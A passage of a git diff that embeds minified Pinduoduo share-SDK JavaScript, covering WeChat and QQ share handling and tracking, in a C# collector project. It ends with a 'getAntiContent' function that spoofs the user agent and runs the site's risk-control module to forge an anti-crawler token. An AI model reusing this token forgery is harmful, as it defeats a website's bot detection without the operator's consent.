arguments[1] : """"; + if (!window.wx || ""function"" != typeof window.wx[n]) + return Promise.resolve(); + var r = this.shareEntityMap[e] || this.shareEntity; + return r ? (this.emit(u.ON_SHARE_PREPARE, { + shareType: e + }), + r.normalize(e).then(function(r) { + var a = Object.assign({ + trigger: function() { + t.emit(u.ON_SHARE_TRIGGER, { + shareType: e + }) + }, + success: function() { + t.emit(u.ON_SHARE_COMPLETED, { + shareType: e, + shareResultType: K + }), + t.refreshWeChatChannelShare(e) + }, + fail: function() { + t.emit(u.ON_SHARE_COMPLETED, { + shareType: e, + shareResultType: H + }), + t.refreshWeChatChannelShare(e) + }, + cancel: function() { + t.emit(u.ON_SHARE_COMPLETED, { + shareType: e, + shareResultType: z + }), + t.refreshWeChatChannelShare(e) + } + }, r); + window.wx[n](a) + }, function() { + return Promise.resolve() + })) : Promise.resolve() + }, + t + }(B); + le.SUPPORTED_SHARE_TYPE = ue.concat(); + var pe = le, + de = function(e) { + function t() { + return a()(this, t), + d()(this, e.apply(this, arguments)) + } + return f()(t, e), + t.prototype.normalize = function(e) { + var t = this; + return new Promise(function(n, r) { + var a = Object.assign({}, t); + O(e) ? (t.targetShareURL = U.getQQShareURL(e, a.shareURL), + t.realShareURL = t.targetShareURL, + n({ + title: a.title, + desc: a.message, + share_url: t.realShareURL, + image_url: a.thumbnailURL, + back: !0 + })) : n({ + title: a.title, + desc: a.message, + share_url: a.shareURL, + image_url: a.thumbnailURL, + back: !0 + }) + }) + }, + t + }(U), + he = y.ShareErrorCode, + fe = [c.QQ_CHAT_SESSION, c.QQ_ZONE, c.WECHAT_SESSION, c.WECHAT_TIMELINE], + me = function(e) { + function t(n) { + a()(this, t); + var r = d()(this, e.call(this, n)); + return r.ShareEntityClass = de, + r._enableShareTypes = fe.concat(), + r + } + return f()(t, e), + t.prototype.share = function() { + return he.SHARE_ACTION_DISABLE + }, + t.prototype._setupShareTypes = function() { + return !0 + }, + t.prototype._setupPlatformShareSDK = function() { + var e = this; + return ""undefined"" == typeof mqq || void 0 === mqq.ui ? (this.emit(u.SDK_INIT_FAILED), + Promise.resolve()) : (window.mqq.ui.setOnShareHandler(function(t) { + var n = fe[parseInt(t, 10)], + r = e.shareEntityMap[n] || e.shareEntity; + r && (e.emit(u.ON_SHARE_TRIGGER, { + shareType: n + }), + r.normalize(n).then(function() { + var r = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + r.share_type = t, + window.mqq.ui.shareMessage(r, function() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + switch (parseInt(t.retCode, 10)) { + case 0: + e.emit(u.ON_SHARE_COMPLETED, { + shareType: n, + shareResultType: K + }); + break; + case 1: + case -2: + e.emit(u.ON_SHARE_COMPLETED, { + shareType: n, + shareResultType: z + }); + break; + default: + e.emit(u.ON_SHARE_COMPLETED, { + shareType: n, + shareResultType: H + }) + } + }) + })) + }), + Promise.resolve()) + }, + t + }(B); + me.SUPPORTED_SHARE_TYPE = fe; + var ge = me, + ve = n(""EJiy""), + _e = n.n(ve), + be = function(e) { + function t() { + return a()(this, t), + d()(this, e.apply(this, arguments)) + } + return f()(t, e), + t.prototype.normalize = function() { + var e = A()(S.a.mark(function e(t) { + var n; + return S.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + return n = Object.assign({}, this), + e.abrupt(""return"", Promise.resolve({ + title: n.title, + thumbnail: n.thumbnailURL, + share_url: n.shareURL + })); + case 2: + case ""end"": + return e.stop() + } + }, e, this) + })); + return function(t) { + return e.apply(this, arguments) + } + }(), + t + }(U), + ye = y.ShareErrorCode, + we = [c.WECHAT_SESSION], + Se = function(e) { + function t(n) { + a()(this, t); + var r = d()(this, e.call(this, n)); + return r.ShareEntityClass = be, + r._enableShareTypes = we.concat(), + r + } + return f()(t, e), + t.prototype.share = function(e) { + return ye.SHARE_ACTION_DISABLE + }, + t.prototype.refreshWxAppChannelShare = function(e) { + return this._setupPlatformShareSDK() + }, + t.prototype.notifyWxAppShareComplete = function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : K; + this.emit(u.ON_SHARE_COMPLETED, { + shareType: e, + shareResultType: t + }), + this.refreshWxAppChannelShare(e) + }, + t.prototype._setupPlatformShareSDK = function() { + var e = this; + return ""object"" !== (""undefined"" == typeof wx ? ""undefined"" : _e()(wx)) || ""object"" !== _e()(wx.miniProgram) || ""function"" != typeof wx.miniProgram.postMessage ? (this.emit(u.SDK_INIT_FAILED), + Promise.resolve()) : (this._enableShareTypes.forEach(function(t) { + var n = e.getShareEntityByShareType(t); + n && (e.emit(u.ON_SHARE_PREPARE, { + shareType: t + }), + n.normalize(t).then(function(e) { + try { + wx.miniProgram.postMessage({ + data: { + message_type: ""share"", + share_info: e + } + }) + } catch (e) {} + })) + }), + Promise.resolve()) + }, + t + }(B), + Ce = n(""Fcpp""), + Ae = ""success"", + Ie = ""fail"", + ke = ""cancel"", + Ee = ""complete"", + Te = ""error"", + Ne = ""event"", + xe = { + SHARE: ""share"", + SHARE_RESULT: ""share_result"" + }, + Oe = function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, e), + this.userID = t.userID || """", + this.shareID = t.shareID || """", + this.op = t.op || Ne, + this.subOP = t.subOP || """", + this.shareChannel = t.shareChannel || """", + this.shareResult = t.shareResult || """", + this.shareURL = t.shareURL || """", + this.shareDomain = t.shareDomain || """", + this.timelineDomain = t.timelineDomain || """" + } + return e.prototype.normalize = function(e) { + if (this.subOP === xe.SHARE) + return { + op: this.op, + sub_op: this.subOP, + share_id: this.shareID, + share_channel: this.shareChannel, + share_url: this.shareURL, + share_domain: this.shareDomain + }; + if (this.subOP === xe.SHARE_RESULT) { + var t = { + op: this.op, + sub_op: this.subOP, + event: ""share_result"", + share_id: this.shareID, + share_channel: this.shareChannel, + share_url: this.shareURL, + share_result: this.shareResult + }; + return e !== c.WECHAT_TIMELINE && e !== c.WECHAT_TIMELINE_IMAGE && e !== c.WECHAT_TIMELINE_IMAGE_WITH_NO_SDK || (t.timeline_domain = this.timelineDomain), + t + } + return {} + }, + e.prototype.getShareURLTrackingQueries = function() { + return e.getTrackingQueries(this) + }, + e + }(); + Oe.TRACKING_SUB_OP = xe, + Oe.getTrackingQueries = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + return { + refer_share_id: e.shareID, + refer_share_uid: e.userID, + refer_share_channel: e.shareChannel + } + }; + var De = Oe; + + function Pe(e) { + e = e || 32; + for (var t = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"", n = t.length, r = """", a = 0; a < e; a++) + r += t.charAt(Math.floor(Math.random() * n)); + return r + } + var Re, Me = { + UNKNOWN: ""unknown"", + APP_MESSAGE: ""message"", + TIMELINE: ""timeline"", + QQ: ""qq"", + QQ_ZONE: ""qzone"", + QQ_WEIBO: ""qq_weibo"", + SINA_WEIBO: ""weibo"" + }, + Le = ((Re = {})[c.WECHAT_SESSION] = Me.APP_MESSAGE, + Re[c.WECHAT_TIMELINE] = Me.TIMELINE, + Re[c.WEIBO] = Me.SINA_WEIBO, + Re[c.QQ_CHAT_SESSION] = Me.QQ, + Re[c.QQ_ZONE] = Me.QQ_ZONE, + Re[c.TENCENT_WEIBO] = Me.QQ_WEIBO, + Re[c.WECHAT_SESSION_APP] = Me.APP_MESSAGE, + Re[c.WECHAT_TIMELINE_IMAGE] = Me.TIMELINE, + Re[c.WECHAT_TIMELINE_IMAGE_WITH_NO_SDK] = Me.TIMELINE, + Re[c.WECHAT_SESSION_IMAGE] = Me.APP_MESSAGE, + Re[c.QQ_CHAT_SESSION_IMAGE] = Me.QQ, + Re[c.QQ_ZONE_IMAGE] = Me.QQ_ZONE, + Re[c.WEIBO_IMAGE] = Me.SINA_WEIBO, + Re[c.FRIENDS] = Me.UNKNOWN, + Re[c.WECHAT_BIG_IMAGE] = Me.APP_MESSAGE, + Re); + + function Ue() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0; + return Le[e] || Me.UNKNOWN + } + var We = n(""3OdE""), + Be = We.a.constant; + + function Ge() { + return o.a.getSelfUID() || parseInt(o.a.getCookieByName(Be.CookieKey.UID), 10) || 0 + } + var Qe = y.ShareErrorCode, + je = De.TRACKING_SUB_OP, + qe = function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, e), + this.transparentTransmission = t.transparentTransmission || {}, + this._isSharing = !1, + this.trackingEntity = null, + this.onTriggerListener = null, + this.onCompletedListener = null, + this.shareController = null, + this._cachePrepareInfo = {} + } + return e.prototype.listen = function(e) { + e && e instanceof B && (this.shareController = e, + this._setupDefaultTrackListener(e)) + }, + e.prototype.disconnect = function() { + this.shareController && this._removeDefaultTrackListener(this.shareController) + }, + e.prototype.updateTrackerTrans = function(e) { + this.transparentTransmission = o.a.extend(this.transparentTransmission, e) + }, + e.prototype._setupDefaultTrackListener = function(e) { + this._removeDefaultTrackListener(e), + this.onPrepareListener = this._onDefaultSharePrepare.bind(this), + this.onTriggerListener = this._onDefaultShareTrigger.bind(this), + this.onCompletedListener = this._onDefaultShareCompleted.bind(this), + e.on(u.ON_SHARE_PREPARE, this.onPrepareListener), + e.on(u.ON_SHARE_TRIGGER, this.onTriggerListener), + e.on(u.ON_SHARE_COMPLETED, this.onCompletedListener) + }, + e.prototype._removeDefaultTrackListener = function(e) { + this.onPrepareListener && e.removeListener(u.ON_SHARE_PREPARE, this.onPrepareListener), + this.onTriggerListener && e.removeListener(u.ON_SHARE_TRIGGER, this.onTriggerListener), + this.onCompletedListener && e.removeListener(u.ON_SHARE_COMPLETED, this.onCompletedListener) + }, + e.prototype._sendLog = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = Object.assign(e, this.transparentTransmission); + Ce.a.trackingRecord(t) + }, + e.prototype._onDefaultSharePrepare = function(e) { + var t = e.shareType; + if (this._cachePrepareInfo[t]) { + var n = this.shareController.getShareEntityByShareType(t) || {}, + r = this._cachePrepareInfo[t]; + n.setShareURLQueries(De.getTrackingQueries(r)) + } else { + var a = this.shareController.getShareEntityByShareType(t) || {}, + i = { + userID: Ge(), + shareID: Pe(), + shareChannel: Ue(t) + }; + a.setShareURLQueries(De.getTrackingQueries(i)), + this._cachePrepareInfo[t] = i + } + }, + e.prototype._onDefaultShareTrigger = function(e) { + var t = e.shareType, + n = this.shareController.getShareEntityByShareType(t) || {}, + r = this._cachePrepareInfo[t]; + this._cachePrepareInfo[t] = null, + this.trackingEntity = new De(Object.assign({ + userID: Ge(), + shareID: Pe(), + subOP: je.SHARE, + shareChannel: Ue(t), + timelineDomain: n.timelineDomain + }, r)), !r && n.setShareURLQueries(De.getTrackingQueries(this.trackingEntity)); + var a = n.targetShareURL || n.shareURL; + this.trackingEntity.shareURL = a, + this.trackingEntity.shareDomain = new k(a).origin, + this._sendLog(this.trackingEntity.normalize(t)) + }, + e.prototype._onDefaultShareCompleted = function(e) { + var t = e.shareType, + n = e.shareResultType, + r = e.useComplete; + if (!this.trackingEntity) + return Qe.SHARE_STATUS_ILLEGAL; + var a = this.shareController.getShareEntityByShareType(t) || {}, + i = this.getShareResultByType(n); + r && (i = Ee); + var o = a.targetShareURL || a.shareURL; + if ([c.WECHAT_TIMELINE, c.WECHAT_TIMELINE_IMAGE, c.WECHAT_TIMELINE_IMAGE_WITH_NO_SDK].indexOf(t) >= 0) + if (a.useShortURL) { + var s = new k(a.realShareURL); + this.trackingEntity.timelineDomain = s.hostname + } else { + var u = new k(o); + this.trackingEntity.timelineDomain = u.hostname + } + this.trackingEntity.subOP = je.SHARE_RESULT, + this.trackingEntity.shareResult = i, + this._sendLog(this.trackingEntity.normalize(t)), + this.trackingEntity = null + }, + e.prototype.getShareResultByType = function() { + switch (arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0) { + case F: + return Ee; + case K: + return Ae; + case H: + return Ie; + case z: + return ke; + default: + return Te + } + }, + e + }(), + Ve = ""undefined"" != typeof window, + Fe = function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, e), + this.shareController = null, + this.shareTracker = null, + this.controllerOptions = t.controllerOptions || {}, + this.disableTracker = t.disableTracker || !1, + this.noDefaultShare = t.noDefaultShare || !1, + this.disableShare = t.disableShare || !1 + } + return e.prototype.setup = function() { + Ve && (this._setupController(), + this._setupShareTracker()) + }, + e.prototype._setupController = function() { + if (!this.shareController) { + var e = this.controllerOptions; + l.b.isWeChatMiniProgram() ? this.shareController = new Se(e) : l.b.isWeChatPlatform() ? (this.shareController = new pe(e), + this.noDefaultShare || this._prepareShareController()) : l.b.isQQPlatform() ? (this.shareController = new ge(e), + this.noDefaultShare || this._prepareShareController()) : l.b.isNativePlatform() && (this.shareController = new ie(e)) + } + }, + e.prototype._prepareShareController = function() { + this.shareController && !this.shareController.isInited() && this.shareController.initShare() + }, + e.prototype._setupShareTracker = function() { + this.disableTracker || this.shareTracker || (this.shareTracker = new qe({ + transparentTransmission: this.trackerTrans + }), + this.shareTracker.listen(this.shareController)) + }, + e.prototype.share = function(e) { + var t = this; + return !this.shareController || this.disableShare ? Promise.reject() : (this._prepareShareController(), + new Promise(function(n, r) { + var a = t, + i = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = e.shareResultType; + o(), + K === t ? n(e) : r(e) + }; + + function o() { + a.shareController.removeListener(u.ON_SHARE_COMPLETED, i) + } + t.shareController.on(u.ON_SHARE_COMPLETED, i); + var s = t.shareController.share(e); + s && (o(), + r({ + shareType: e, + shareErrorType: s + })) + })) + }, + e.prototype.prepareShare = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments[1]; + if (!this.shareController) + return Promise.resolve(); + this._prepareShareController(); + var n = e.entityConfig, + r = void 0 === n ? {} : n, + a = e.statisticsConfig, + i = void 0 === a ? {} : a; + this.shareTracker && this.shareTracker.updateTrackerTrans(i); + var o = this.shareController.createShareEntity(r, t); + return this.shareController.refreshShare(o, t) + }, + e.prototype.getShareController = function() { + return this.shareController + }, + e.prototype.getShareTracker = function() { + return this.shareTracker + }, + e.prototype.getShareEntity = function(e, t) { + return this.shareController ? this.shareController.getShareEntityByShareType(e, t) : null + }, + e.prototype.setupNativeShareButton = function(e, t) { + this.shareController && (this.shareController.removeAllListeners(u.ON_SHARE_BUTTON_CLICKED), + ""function"" == typeof t && this.shareController.on(u.ON_SHARE_BUTTON_CLICKED, t), + this.shareController.setupNativeShareButton(e)) + }, + e + }(), + Ke = { + USELESS: -1, + DEFAULT: 0, + OUT_OF_DATE: 1, + FORBIDDEN: 2, + ABANDONED: 3 + }, + He = { + title: Ke.DEFAULT, + message: Ke.DEFAULT, + timelineMessage: Ke.ABANDONED, + thumbnailURL: Ke.DEFAULT, + thumbnailURL4WeChatMsg: Ke.ABANDONED, + shareURL: Ke.DEFAULT, + shareDomain: Ke.DEFAULT, + shareURLs: Ke.ABANDONED, + waterMark: Ke.DEFAULT, + imageURL: Ke.ABANDONED, + imgShareInfo: Ke.ABANDONED, + timelineDomain: Ke.DEFAULT, + timelineAppId: Ke.DEFAULT, + urlWrapType: Ke.DEFAULT, + beiTaiShareDomains: Ke.ABANDONED, + drawImageOptions: Ke.DEFAULT, + marketActivityID: Ke.DEFAULT, + addRandomPrefix: Ke.DEFAULT, + miniObjectPath: Ke.DEFAULT, + useWxAppShare: Ke.DEFAULT + }, + ze = { + unionShareCallback: Ke.ABANDONED, + complete: Ke.ABANDONED, + imgShareCallback: Ke.ABANDONED, + imgShareFailCallback: Ke.ABANDONED + }, + Je = { + onlyWeChat: Ke.USELESS, + noDefaultShare: Ke.DEFAULT, + isSDKPrepare: Ke.DEFAULT, + disableShare: Ke.DEFAULT, + disableShareWeibo: Ke.ABANDONED, + disableCopyUrl: Ke.USELESS, + enableBroswerOpen: Ke.USELESS, + forceShareToWeChatTimeline: Ke.ABANDONED, + shareToWeChatTimelineInAppDisabled: Ke.ABANDONED, + useSubDirectoryURL: Ke.ABANDONED + }, + Ye = { + cid: Ke.DEFAULT, + campaign: Ke.DEFAULT + }, + Ze = { + template: Ke.ABANDONED, + infoVisibleFlag: Ke.ABANDONED, + subscribedTip: Ke.ABANDONED, + subscribedDesc: Ke.ABANDONED, + newUserGroupInfo: Ke.ABANDONED + }, + Xe = Ke, + $e = function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, e), + this.cacheRaw = t.cacheRaw || !1, + this.deleteAfterCollect = t.deleteAfterCollect || !1 + } + return e.prototype.filter = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = this._filterShareEntity(e), + n = this._filterShareCallbacks(e), + r = this._filterStatistics(e), + a = this._filterShareConfigFlag(e), + i = this._filterShareOther(e); + return { + _rawShareInfo: this.cacheRaw ? e : null, + entityConfig: t, + callbackConfig: n, + statisticsConfig: r, + flowControllConfig: a, + otherConfig: i, + compatibleShareConfig: {} + } + }, + e.prototype._filterByItems = function() { + var e = this, + t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, + r = {}; + return (Object.keys(n) || []).forEach(function(a, i) { + var o = n[a]; + o === Xe.FORBIDDEN ? delete t[a] : o === Xe.ABANDONED ? delete t[a] : void 0 !== t[a] && (r[a] = t[a], + e.deleteAfterCollect && delete t[a]) + }), + r + }, + e.prototype._filterShareEntity = function(e) { + return this._filterByItems(e, He) + }, + e.prototype._filterShareConfigFlag = function(e) { + return this._filterByItems(e, Je) + }, + e.prototype._filterShareCallbacks = function(e) { + return this._filterByItems(e, ze) + }, + e.prototype._filterStatistics = function(e) { + return this._filterByItems(e, Ye) + }, + e.prototype._filterShareOther = function(e) { + return this._filterByItems(e, Ze) + }, + e + }(), + et = ""!share_v2"", + tt = ""!share_v3"", + nt = n(""uf4C""), + rt = (We.a.constants, {}); + ""undefined"" != typeof window && (rt = We.a.get(location.host) || {}); + var at = { + code: null, + from: null, + isappinstalled: null, + at: null, + share_id: null, + is_back: null, + page_id: null, + list_id: null + }, + it = [""refer_page_name"", ""refer_page_section"", ""refer_page_element"", ""refer_page_id"", ""refer_page_sn"", ""refer_page_el_sn"", ""refer_mid"", ""refer_adg"", ""refer_cam"", ""refer_ced""], + ot = null, + st = function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, e), + this._hasInited = !1, + this.opts = t || {}, + this.shopConfig = t.shopConfig, + this.defaultShareEntityConfig = {}, + this.shareManager = null, + this.shareInfoFilter = null, + this._sdkPrepared = !1 + } + return e.prototype.setup = function() { + this._hasInited || (this._hasInited = !0, + this._setupShareInfoFilter(), + this._setupShareManager(), + this._prepareDefaultShare()) + }, + e.prototype._setupShareInfoFilter = function() { + this.shareInfoFilter || (this.shareInfoFilter = new $e(this.opts.shareInfoFilterConfig)) + }, + e.prototype._setupShareManager = function() { + if (!this.shareManager) { + var e = Object.assign({}, { + noDefaultShare: !1, + disableShare: !1, + useNativeShareButton: !1 + }, this.opts.shareManagerConfig); + this.shareManager = new Fe(e), + this.shareManager.setup() + } + }, + e.prototype._prepareDefaultShare = function() { + var e = this.shopConfig || rt.shop || {}, + t = e.name || ""拼多多""; + Object.assign(this.defaultShareEntityConfig, { + title: t + ""商城"", + message: ""风靡全国的拼单商城,优质商品新鲜直供,快一起来"" + t + ""吧"", + thumbnailURL: e.logo, + shareURL: ""/"" + }), + this.prepareShare(this.defaultShareEntityConfig) + }, + e.prototype._prepareShareByShareType = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments[1]; + if (!this._hasInited) + return Promise.reject(); + var n = e.entityConfig, + r = void 0 === n ? {} : n; + e.flowControllConfig; + return this._buildThumbnailURL(r, t), + this._buildShareURL(r, t), + this.shareManager.prepareShare(e, t) + }, + e.prototype.prepareShare = function(e, t) { + if (!this._hasInited) + return Promise.reject(); + var n = this.shareInfoFilter.filter(e), + r = this._prepareShareByShareType(n, t); + return this._checkSDKPrepared(n), + r + }, + e.prototype.prepareShareSafe = function() { + var e = this, + t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = arguments[1]; + if (!this._hasInited) + return Promise.reject(); + var r = this.shareInfoFilter.filter(t), + a = r.flowControllConfig, + i = void 0 === a ? {} : a; + if (!this._sdkPrepared && !i.isSDKPrepare) + return this.waitSDKReady().then(function() { + return e._prepareShareByShareType(r, n) + }); + var o = this._prepareShareByShareType(r, n); + return this._checkSDKPrepared(r), + o + }, + e.prototype.waitSDKReady = function() { + if (this._sdkPrepared) + return Promise.resolve(); + if (this.sdkReadyPromise) + return this.sdkReadyPromise; + var e = this.shareManager.getShareController(); + return e ? (this.sdkReadyPromise = new Promise(function(t, n) { + e.once(u.ON_SDK_READY, function() { + t() + }) + }), + this.sdkReadyPromise) : Promise.resolve() + }, + e.prototype.share = function(e, t) { + return this._hasInited ? (t && this.prepareShare(t, e), + this.shareManager.share(e)) : Promise.reject() + }, + e.prototype._buildThumbnailURL = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments[1], + n = e.thumbnailURL; + if (void 0 !== n) { + var r = e.waterMark, + a = n || """"; + void 0 !== r && null !== r || (r = et), + a = i.a.addWaterMark(a, r), + t === c.WECHAT_SESSION && r === et && (a = i.a.addWaterMark(a, tt, !0)), + a = (a || """").replace(/^\/\//, ""http://""), + e.thumbnailURL = a + } + }, + e.prototype._buildShareURL = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments[1], + n = (arguments.length > 2 && void 0 !== arguments[2] && arguments[2], + e.shareURL); + if (n) { + if (e.urlWrapType !== I.RAW) { + var r = new k(n), + a = r.query || {}, + i = Object.keys(a).reduce(function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : """"; + return it.indexOf(t) >= 0 && (e[t] = null), + e + }, {}), + u = nt.a.getInstance().getExtendTransferParameters(!0), + p = { + _wv: 41729, + _wvx: 10 + }; + !l.b.isWeChatPlatform() || t !== c.QQ_CHAT_SESSION && t !== c.QQ_ZONE || (p.sf_tag = ""wechat""), + t !== c.WECHAT_TIMELINE_IMAGE && t !== c.WECHAT_TIMELINE_IMAGE_WITH_NO_SDK || (p.from = ""qrImg""); + var d = r.pathname || """"; + e.addRandomPrefix && (d = d.replace(/(\w+)\.html/g, function(e) { + return Math.floor(1e3 * Math.random()) + """" + e + })); + var h = o.a.extend(p, a, u, at, i), + f = e.shareDomain || rt.shareDomain; + e.shareURL = s.a.buildURL(h, s.a.fullURL(d), f) + } + } else + delete e.shareURL + }, + e.prototype._checkSDKPrepared = function(e) { + var t = e.flowControllConfig; + if ((void 0 === t ? {} : t).isSDKPrepare && !this._sdkPrepared) { + this._sdkPrepared = !0; + var n = this.shareManager.getShareController(); + n && n.emit(u.ON_SDK_READY) + } + }, + e.prototype.getShareManager = function() { + return this.shareManager ? this.shareManager : null + }, + e.prototype.setupNativeShareButton = function(e, t) { + if (this.shareManager) + return this.shareManager.setupNativeShareButton(e, t) + }, + e + }(); + st.getInstance = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + return ot || (ot = new st(e)), + ot + }; + var ct = st, + ut = { + ALIGNMENT_CENTER: ""alignment_center"", + BOLD_FONT: ""bold_font"", + CORRECTION_LEVEL: ""correction_level"", + DATA: ""data"", + FILL: ""fill"", + FONT_SIZE: ""font_size"", + FONT_COLOR: ""font_color"", + HEIGHT: ""height"", + POS_X: ""x"", + POS_Y: ""y"", + SOURCE: ""source"", + WIDTH: ""width"", + KEY: ""key"" + }; + var lt = Object.keys(ut).reduce(function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments[1]; + return e[ut[t]] = 1, + e + }, {}), + pt = function() { + function e() { + arguments.length > 0 && void 0 !== arguments[0] && arguments[0]; + var t = arguments[1], + n = arguments[2], + r = arguments[3], + i = arguments[4], + o = arguments[5]; + a()(this, e), + this.attributes = {}, + this.setBounds(t, n, r, i), + this.setData(o) + } + return e.prototype.setAttr = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """", + t = arguments[1]; + lt[e] && (this.attributes[e] = t) + }, + e.prototype.setLocation = function(e, t) { + void 0 !== e && void 0 !== t && (this.setAttr(ut.POS_X, e), + this.setAttr(ut.POS_Y, t)) + }, + e.prototype.setSize = function(e, t) { + void 0 !== e && void 0 !== t && (this.setAttr(ut.WIDTH, e), + this.setAttr(ut.HEIGHT, t)) + }, + e.prototype.setData = function(e) { + void 0 !== e && this.setAttr(ut.DATA, e) + }, + e.prototype.setBounds = function(e, t, n, r) { + this.setLocation(e, t), + this.setSize(n, r) + }, + e.prototype.setKey = function(e) { + this.setAttr(ut.KEY, e) + }, + e.prototype.getAttrs = function() { + return this.attributes + }, + e + }(); + pt.SOURCE_TYPE = { + RECTANGLE: ""rectangle"", + IMAGE: ""image"", + TEXT: ""text"", + QRCODE: ""qrcode"" + }, + pt.ATTRIBUTES = ut, + pt.ATTRIBUTES_VALUES = lt, + pt.color = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + return parseInt(e.slice(1), 16) + }, + pt.CorrectionLevel = { + M: 0, + L: 1, + Q: 3, + H: 2 + }; + var dt = pt, + ht = dt.ATTRIBUTES, + ft = dt.SOURCE_TYPE, + mt = (function(e) { + function t() { + a()(this, t); + var n = d()(this, e.apply(this, arguments)); + return n.setAttr(ht.SOURCE, ft.IMAGE), + n + } + f()(t, e) + }(dt), + dt.ATTRIBUTES), + gt = dt.SOURCE_TYPE, + vt = dt.CorrectionLevel, + _t = Object.keys(vt).map(function(e) { + return vt[e] + }), + bt = function(e) { + function t() { + a()(this, t); + var n = d()(this, e.apply(this, arguments)); + return n.setAttr(mt.SOURCE, gt.QRCODE), + n + } + return f()(t, e), + t.prototype.setCorrectionLevel = function(e) { + _t.indexOf(e) < 0 || this.setAttr(mt.CORRECTION_LEVEL, e) + }, + t + }(dt); + bt.CorrectionLevel = vt; + var yt = dt.ATTRIBUTES, + wt = dt.SOURCE_TYPE, + St = (function(e) { + function t() { + a()(this, t); + var n = d()(this, e.apply(this, arguments)); + return n.setAttr(yt.SOURCE, wt.TEXT), + n + } + f()(t, e), + t.prototype.setFontSize = function(e) { + e && this.setAttr(yt.FONT_SIZE, e) + }, + t.prototype.setRemFontSize = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0; + this.setFontSize(45 * e) + }, + t.prototype.setColor = function(e) { + var t = yt.FONT_COLOR; + ""number"" == typeof e ? this.setAttr(t, e) : ""string"" == typeof e && this.setAttr(t, dt.color(e)) + }, + t.prototype.setAlignCenter = function() { + this.setAttr(yt.ALIGNMENT_CENTER, !0) + }, + t.prototype.setBold = function() { + this.setAttr(yt.BOLD_FONT, !0) + } + }(dt), + dt.ATTRIBUTES), + Ct = dt.SOURCE_TYPE, + At = (function(e) { + function t() { + a()(this, t); + var n = d()(this, e.apply(this, arguments)); + return n.setAttr(St.SOURCE, Ct.RECTANGLE), + n + } + f()(t, e), + t.prototype.setFill = function(e) { + this.setAttr(St.FILL, e) + } + }(dt), + 2); + ! function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, e), + this.shareImageWidth = t.shareImageWidth || 375, + this.shareImageHeight = t.shareImageHeight || 500, + this.maxSize = t.maxSize || 1e6, + this.imageRatio = t.imageRatio || At, + this.items = [] + } + e.prototype.w = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0; + return this.shareImageWidth ? e / this.shareImageWidth : 0 + }, + e.prototype.h = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0; + return this.shareImageHeight ? e / this.shareImageHeight : 0 + }, + e.prototype.paint = function() {}, + e.prototype.add = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + e.source && this.items.push(e) + }, + e.prototype.addElem = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + e.getAttrs && ""function"" == typeof e.getAttrs && this.items.push(e.getAttrs()) + }, + e.prototype.process = function() { + return this.paint(), { + max_size: this.maxSize, + width: this.shareImageWidth * this.imageRatio, + height: this.shareImageHeight * this.imageRatio, + items: this.items + } + } + }(); + n.d(t, ""a"", function() { + return u + }); + var It = {}; + It = ct; + t.b = It + } + } +]); +//# sourceMappingURL=http://vgunxpkt.com/sourcemaps/mobile-mall/js/react_pdd_d977a8c96bf9318aed61.js.map +obj = __webpack_require__(""fbeZ""); + +function getAntiContent(e) { + window.UserAgent = e; + var riskControlCrawler = new obj({ + serverTime: (new Date).getTime(), + _2827c887a48a351a: !1 + }); + riskControlCrawler.init(); + data = riskControlCrawler.messagePack({ + touchEventData: !0, + clickEventData: !0, + focusblurEventData: !0, + changeEventData: !0, + locationInfo: !0, + referrer: !0, + browserSize: !0, + browserInfo: !0, + token: !0, + fingerprint: !0 + }); + return (encodeURIComponent(data)); +}"; + #endregion + } + public class WhiteMapObject + { + public string shopName = ""; + public int setWhiteCount = 0; + public string message = ""; + } +} diff --git a/Work/CollectClass/WithDrawAmount.cs b/Work/CollectClass/WithDrawAmount.cs new file mode 100644 index 0000000..22af202 --- /dev/null +++ b/Work/CollectClass/WithDrawAmount.cs @@ -0,0 +1,187 @@ +using AllBase; +using JavaScriptEngineSwitcher.Core; +using 